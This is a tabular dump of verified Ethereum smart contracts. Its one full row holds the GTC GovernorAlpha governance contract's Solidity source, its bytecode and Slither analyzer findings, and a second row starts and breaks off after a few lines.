address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xDbD27635A534A3d3169Ef0498beB56Fb9c937489
|
// SPDX-License-Identifier: NONE
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Part: GTCInterface
interface GTCInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
// Part: TimelockInterface
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
// File: GovernorAlpha.sol
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "GTC Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 2_500_000e18; } // 2.5% of GTC
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 1_000_000e18; } // 1% of GTC
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 13140; } // ~2 days in blocks (assuming 15s blocks)
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks)
/// @notice The address of the GTC Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the GTC governance token
GTCInterface public gtc;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
/**
* @notice Construct a new GovernorAlpha contract
* @param timelock_ - address for the TimeLock contract
* @param gtc_ - address of ERC20 that claims will be distributed from
**/
constructor(address timelock_, address gtc_) public {
timelock = TimelockInterface(timelock_);
gtc = GTCInterface(gtc_);
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(gtc.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information parity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(gtc.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = gtc.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x6080604052600436106101355760003560e01c80634634c61f116100ab578063da95691a1161006f578063da95691a1461033b578063ddf0b0091461035b578063deaaa7cc1461037b578063e23a9a5214610390578063e419d406146103bd578063fe0d94c1146103d257610135565b80634634c61f146102ba5780637bdbe4d0146102da578063b58131b0146102ef578063d33219b414610304578063da35c6641461032657610135565b806320606b70116100fd57806320606b70146101fe57806324bc1a6414610213578063328dd982146102285780633932abb1146102585780633e4f49e61461026d57806340e58ee51461029a57610135565b8063013cf08b1461013a57806302a251a31461017857806306fdde031461019a57806315373e3d146101bc57806317977c61146101de575b600080fd5b34801561014657600080fd5b5061015a610155366004612019565b6103e5565b60405161016f99989796959493929190612af5565b60405180910390f35b34801561018457600080fd5b5061018d61043e565b60405161016f91906123c2565b3480156101a657600080fd5b506101af610444565b60405161016f919061244d565b3480156101c857600080fd5b506101dc6101d736600461205d565b610472565b005b3480156101ea57600080fd5b5061018d6101f9366004611e8b565b610481565b34801561020a57600080fd5b5061018d610493565b34801561021f57600080fd5b5061018d6104b7565b34801561023457600080fd5b50610248610243366004612019565b6104c6565b60405161016f949392919061236a565b34801561026457600080fd5b5061018d610755565b34801561027957600080fd5b5061028d610288366004612019565b61075b565b60405161016f9190612439565b3480156102a657600080fd5b506101dc6102b5366004612019565b6108ee565b3480156102c657600080fd5b506101dc6102d536600461208c565b610b42565b3480156102e657600080fd5b5061018d610cf0565b3480156102fb57600080fd5b5061018d610cf5565b34801561031057600080fd5b50610319610d03565b60405161016f9190612425565b34801561033257600080fd5b5061018d610d12565b34801561034757600080fd5b5061018d610356366004611ea6565b610d18565b34801561036757600080fd5b506101dc610376366004612019565b611138565b34801561038757600080fd5b5061018d6113a6565b34801561039c57600080fd5b506103b06103ab366004612031565b6113ca565b60405161016f9190612a2f565b3480156103c957600080fd5b50610319611439565b6101dc6103e0366004612019565b611448565b6003602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b619d8090565b6040518060400160405280601281526020017147544320476f7665726e6f7220416c70686160701b81525081565b61047d33838361160d565b5050565b60046020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6a021165458500521280000090565b6060806060806000600360008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561054857602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161052a575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561059a57602002820191906000526020600020905b815481526020019060010190808311610586575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561066d5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156106595780601f1061062e57610100808354040283529160200191610659565b820191906000526020600020905b81548152906001019060200180831161063c57829003601f168201915b5050505050815260200190600101906105c2565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561073f5760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561072b5780601f106107005761010080835404028352916020019161072b565b820191906000526020600020905b81548152906001019060200180831161070e57829003601f168201915b505050505081526020019060010190610694565b5050505090509450945094509450509193509193565b61335490565b6000816002541015801561076f5750600082115b6107945760405162461bcd60e51b815260040161078b90612535565b60405180910390fd5b6000828152600360205260409020600b81015460ff16156107b95760029150506108e9565b806007015443116107ce5760009150506108e9565b806008015443116107e35760019150506108e9565b80600a0154816009015411158061080457506107fd6104b7565b8160090154105b156108135760039150506108e9565b60028101546108265760049150506108e9565b600b810154610100900460ff16156108425760079150506108e9565b6108d3816002015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b15801561089657600080fd5b505afa1580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce9190611f8e565b6117d6565b42106108e35760069150506108e9565b60059150505b919050565b60006108f98261075b565b9050600781600781111561090957fe5b14156109275760405162461bcd60e51b815260040161078b90612960565b600082815260036020526040902061093d610cf5565b60018054838201546001600160a01b039182169263782d6fe19290911690610966904390611802565b6040518363ffffffff1660e01b815260040161098392919061229b565b60206040518083038186803b15801561099b57600080fd5b505afa1580156109af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d391906120e2565b6001600160601b0316106109f95760405162461bcd60e51b815260040161078b9061272c565b600b8101805460ff1916600117905560005b6003820154811015610b05576000546003830180546001600160a01b039092169163591fcdfe919084908110610a3d57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610a6557fe5b9060005260206000200154856005018581548110610a7f57fe5b90600052602060002001866006018681548110610a9857fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610ac7959493929190612331565b600060405180830381600087803b158015610ae157600080fd5b505af1158015610af5573d6000803e3d6000fd5b505060019092019150610a0b9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610b3591906123c2565b60405180910390a1505050565b60408051808201909152601281527147544320476f7665726e6f7220416c70686160701b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f67aa77673631603c632093ca33d59221b6c01f7cf136859273b319aeadaad906610bb861182a565b30604051602001610bcc94939291906123cb565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610c1b939291906123ef565b60405160208183030381529060405280519060200120905060008282604051602001610c48929190612280565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610c859493929190612407565b6020604051602081039080840390855afa158015610ca7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610cda5760405162461bcd60e51b815260040161078b9061288e565b610ce5818a8a61160d565b505050505050505050565b600a90565b69d3c21bcecceda100000090565b6000546001600160a01b031681565b60025481565b6000610d22610cf5565b600180546001600160a01b03169063782d6fe1903390610d43904390611802565b6040518363ffffffff1660e01b8152600401610d6092919061229b565b60206040518083038186803b158015610d7857600080fd5b505afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db091906120e2565b6001600160601b031611610dd65760405162461bcd60e51b815260040161078b90612831565b84518651148015610de8575083518651145b8015610df5575082518651145b610e115760405162461bcd60e51b815260040161078b9061257e565b8551610e2f5760405162461bcd60e51b815260040161078b906127e5565b610e37610cf0565b86511115610e575760405162461bcd60e51b815260040161078b906126b9565b336000908152600460205260409020548015610ed4576000610e788261075b565b90506001816007811115610e8857fe5b1415610ea65760405162461bcd60e51b815260040161078b906128dd565b6000816007811115610eb457fe5b1415610ed25760405162461bcd60e51b815260040161078b90612636565b505b6000610ee2436108ce610755565b90506000610ef2826108ce61043e565b6002805460010190559050610f0561198d565b604051806101a001604052806002548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060036000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190610fe8929190611a02565b5060808201518051611004916004840191602090910190611a67565b5060a08201518051611020916005840191602090910190611aae565b5060c0820151805161103c916006840191602090910190611b07565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516004600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161112299989796959493929190612a5d565b60405180910390a1519998505050505050505050565b60046111438261075b565b600781111561114e57fe5b1461116b5760405162461bcd60e51b815260040161078b90612460565b600081815260036020908152604080832083548251630d48571f60e31b815292519194936111c49342936001600160a01b0390931692636a42b8f892600480840193919291829003018186803b15801561089657600080fd5b905060005b600383015481101561136c576113648360030182815481106111e757fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061120f57fe5b906000526020600020015485600501848154811061122957fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156112b75780601f1061128c576101008083540402835291602001916112b7565b820191906000526020600020905b81548152906001019060200180831161129a57829003601f168201915b50505050508660060185815481106112cb57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156113595780601f1061132e57610100808354040283529160200191611359565b820191906000526020600020905b81548152906001019060200180831161133c57829003601f168201915b50505050508661182e565b6001016111c9565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610b359085908490612b41565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b6113d2611b60565b5060008281526003602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6001546001600160a01b031681565b60056114538261075b565b600781111561145e57fe5b1461147b5760405162461bcd60e51b815260040161078b906124ca565b6000818152600360205260408120600b8101805461ff001916610100179055905b60038201548110156115d1576000546004830180546001600160a01b0390921691630825f38f9190849081106114ce57fe5b90600052602060002001548460030184815481106114e857fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061151057fe5b906000526020600020015486600501868154811061152a57fe5b9060005260206000200187600601878154811061154357fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611572959493929190612331565b6000604051808303818588803b15801561158b57600080fd5b505af115801561159f573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526115c89190810190611fa6565b5060010161149c565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161160191906123c2565b60405180910390a15050565b60016116188361075b565b600781111561162357fe5b146116405760405162461bcd60e51b815260040161078b906129b6565b60008281526003602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156116895760405162461bcd60e51b815260040161078b906125e9565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe1916116bf918a9160040161229b565b60206040518083038186803b1580156116d757600080fd5b505afa1580156116eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170f91906120e2565b905083156117385761172e8360090154826001600160601b03166117d6565b6009840155611755565b61174f83600a0154826001600160601b03166117d6565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c46906117c69088908890889086906122b4565b60405180910390a1505050505050565b6000828201838110156117fb5760405162461bcd60e51b815260040161078b90612701565b9392505050565b6000828211156118245760405162461bcd60e51b815260040161078b90612a00565b50900390565b4690565b6000546040516001600160a01b039091169063f2b065379061185c90889088908890889088906020016122e5565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161188e91906123c2565b60206040518083038186803b1580156118a657600080fd5b505afa1580156118ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118de9190611f72565b156118fb5760405162461bcd60e51b815260040161078b9061277b565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f9019061193390889088908890889088906004016122e5565b602060405180830381600087803b15801561194d57600080fd5b505af1158015611961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119859190611f8e565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611a57579160200282015b82811115611a5757825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611a22565b50611a63929150611b80565b5090565b828054828255906000526020600020908101928215611aa2579160200282015b82811115611aa2578251825591602001919060010190611a87565b50611a63929150611b9f565b828054828255906000526020600020908101928215611afb579160200282015b82811115611afb5782518051611aeb918491602090910190611bb4565b5091602001919060010190611ace565b50611a63929150611c21565b828054828255906000526020600020908101928215611b54579160200282015b82811115611b545782518051611b44918491602090910190611bb4565b5091602001919060010190611b27565b50611a63929150611c3e565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611a635780546001600160a01b0319168155600101611b81565b5b80821115611a635760008155600101611ba0565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611bf557805160ff1916838001178555611aa2565b82800160010185558215611aa25791820182811115611aa2578251825591602001919060010190611a87565b80821115611a63576000611c358282611c5b565b50600101611c21565b80821115611a63576000611c528282611c5b565b50600101611c3e565b50805460018160011615610100020316600290046000825580601f10611c815750611c9f565b601f016020900490600052602060002090810190611c9f9190611b9f565b50565b80356001600160a01b038116811461143357600080fd5b600082601f830112611cc9578081fd5b8135611cdc611cd782612b76565b612b4f565b818152915060208083019084810181840286018201871015611cfd57600080fd5b60005b84811015611d2457611d128883611ca2565b84529282019290820190600101611d00565b505050505092915050565b600082601f830112611d3f578081fd5b8135611d4d611cd782612b76565b818152915060208083019084810160005b84811015611d2457611d75888484358a0101611e3d565b84529282019290820190600101611d5e565b600082601f830112611d97578081fd5b8135611da5611cd782612b76565b818152915060208083019084810160005b84811015611d2457611dcd888484358a0101611e3d565b84529282019290820190600101611db6565b600082601f830112611def578081fd5b8135611dfd611cd782612b76565b818152915060208083019084810181840286018201871015611e1e57600080fd5b60005b84811015611d2457813584529282019290820190600101611e21565b600082601f830112611e4d578081fd5b8135611e5b611cd782612b96565b9150808252836020828501011115611e7257600080fd5b8060208401602084013760009082016020015292915050565b600060208284031215611e9c578081fd5b6117fb8383611ca2565b600080600080600060a08688031215611ebd578081fd5b853567ffffffffffffffff80821115611ed4578283fd5b611ee089838a01611cb9565b96506020880135915080821115611ef5578283fd5b611f0189838a01611ddf565b95506040880135915080821115611f16578283fd5b611f2289838a01611d87565b94506060880135915080821115611f37578283fd5b611f4389838a01611d2f565b93506080880135915080821115611f58578283fd5b50611f6588828901611e3d565b9150509295509295909350565b600060208284031215611f83578081fd5b81516117fb81612bf6565b600060208284031215611f9f578081fd5b5051919050565b600060208284031215611fb7578081fd5b815167ffffffffffffffff811115611fcd578182fd5b8201601f81018413611fdd578182fd5b8051611feb611cd782612b96565b818152856020838501011115611fff578384fd5b612010826020830160208601612bc6565b95945050505050565b60006020828403121561202a578081fd5b5035919050565b60008060408385031215612043578182fd5b823591506120548460208501611ca2565b90509250929050565b6000806040838503121561206f578182fd5b82359150602083013561208181612bf6565b809150509250929050565b600080600080600060a086880312156120a3578283fd5b8535945060208601356120b581612bf6565b9350604086013560ff811681146120ca578384fd5b94979396509394606081013594506080013592915050565b6000602082840312156120f3578081fd5b81516001600160601b03811681146117fb578182fd5b6000815180845260208085019450808401835b838110156121415781516001600160a01b03168752958201959082019060010161211c565b509495945050505050565b60008282518085526020808601955080818302840101818601855b8481101561219557601f198684030189526121838383516121d1565b98840198925090830190600101612167565b5090979650505050505050565b6000815180845260208085019450808401835b83811015612141578151875295820195908201906001016121b5565b600081518084526121e9816020860160208601612bc6565b601f01601f19169290920160200192915050565b6000815460018082166000811461221b576001811461223957612277565b60028304607f16865260ff1983166020870152604086019350612277565b6002830480875261224986612bba565b60005b8281101561226d5781546020828b010152848201915060208101905061224c565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261230c60a08301866121d1565b828103606084015261231e81866121d1565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a0604083015261235860a08301866121fd565b828103606084015261231e81866121fd565b60006080825261237d6080830187612109565b828103602084015261238f81876121a2565b905082810360408401526123a3818661214c565b905082810360608401526123b7818561214c565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b6001600160a01b0391909116815260200190565b602081016008831061244757fe5b91905290565b6000602082526117fb60208301846121d1565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c79206265207175657565642069662069742069732073756363656060820152631959195960e21b608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c7920626520657865637574656420696620697420697320716060820152641d595d595960da1b608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070726040820152681bdc1bdcd85b081a5960ba1b606082015260800190565b60208082526045908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e20706172697479206d69736060820152640dac2e8c6d60db1b608082015260a00190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201526c185b1c9958591e481d9bdd1959609a1b606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201526720616374696f6e7360c01b606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201526e18589bdd99481d1a1c995cda1bdb19608a1b606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746060820152632065746160e01b608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201526b7669646520616374696f6e7360a01b606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201526e76616c6964207369676e617475726560881b606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063616040820152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67604082015269081a5cc818db1bdcd95960b21b606082015260800190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b038916602082015261012060408201819052600090612a888382018b612109565b90508281036060840152612a9c818a6121a2565b90508281036080840152612ab0818961214c565b905082810360a0840152612ac4818861214c565b90508560c08401528460e0840152828103610100840152612ae581856121d1565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff81118282101715612b6e57600080fd5b604052919050565b600067ffffffffffffffff821115612b8c578081fd5b5060209081020190565b600067ffffffffffffffff821115612bac578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b83811015612be1578181015183820152602001612bc9565b83811115612bf0576000848401525b50505050565b8015158114611c9f57600080fdfea26469706673582212200a05bce9fe2c7365455457dd72fe44e628af36d42b3c4bef682b33a7a8f0592a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,700 |
0xba36e558ce01d5dc97e439e59ff2c2a0411ea905
|
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
